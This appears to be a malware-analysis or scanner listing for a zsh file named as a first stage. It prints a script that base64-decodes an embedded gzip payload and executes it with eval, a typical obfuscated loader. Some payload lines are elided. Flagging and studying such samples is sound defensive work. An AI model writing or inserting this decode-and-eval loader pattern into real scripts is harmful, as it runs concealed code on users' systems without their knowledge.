stage1_b05f89e41ee8.zsh
Shell decodes a gzip heredoc and evals the resultShell script packed as a base64 gzip heredoc
SHA-256b05f89e41ee8a6613461bdd57362772258f7fd8383a5d013a7965f3fd8f08eb0
MaleculeO₂(AsXe)H₂(Db₂Po)
Evidence
1#!/bin/zsh
2d10649=$(base64 -D <<'PAYLOAD_m7027164035580' | gunzip
3H4sIADHD0moAA91WW2/bNhR+9684VRXDasBIsnxNoqZBF6BBkXZIGixYVxgUSdmEZUkT6cVx2/8+
4ypIlSjawvexlfJF5+PE790O/fmUHPLa3YtGhmK2SeBauYyJ5Evcs+N4BtdiGEbi0KfvLjtdRVMve
5HpH1W8IoITgCmqwwj30j4GKFM7IkC54laYaJTLIzkqwMDSuTJVPQQX/geDik/akzwpPQc0Z95lEa
6uNOgPxmO+3QyocEUs/EgcAdjz516Ey+g/YlDRgEjDtYpccpnS/biG0N36rDQHXueO/GwQ8nIC4NR
73/OG43A4oiP9Usgj5hu2XKV2InCUzOc8np9teVqAeAhfwXwNaC7BgW8XIBcs3p3ki6yzCNASkACE
8VniDJF8x8Bz4o4LkC30A41GwDF3PWSzP4S7Z8ijC9vDMgd4dJjyWiVhcwG0sWQRKAJ8f4AlcZ+YO
9Z2MLrtM0Yr+x4COX9tAbn3kj44gG5T5S7p+DWQaiDTIWUqbntm0WebLpS4xXnFzJDfXNXT666bP6
106RrwA1QwBMl4KoukR4L9b70+dDfkWvKvAMXsSPLZhktw2/iv8ApQCIaZF5Zi/pHvRbX/1mbJmFxn
11cZOnqMz3Hx4/fZw93P5+45u9nuvAGxWb/qD8WJYGvbt+mt3ffLm/vXnwJ5p8nUYJpjOuPO1RLBmc
12nggLmb0kZbEQEWQ4poAWbAMTvaVzqxlZJGDeX3/65fNd+bEa7StxNBN8W5RFvVWahMQyj8HJtnK7
⋯8 lines
21PAYLOAD_m7027164035580
22)
23eval "$d10649"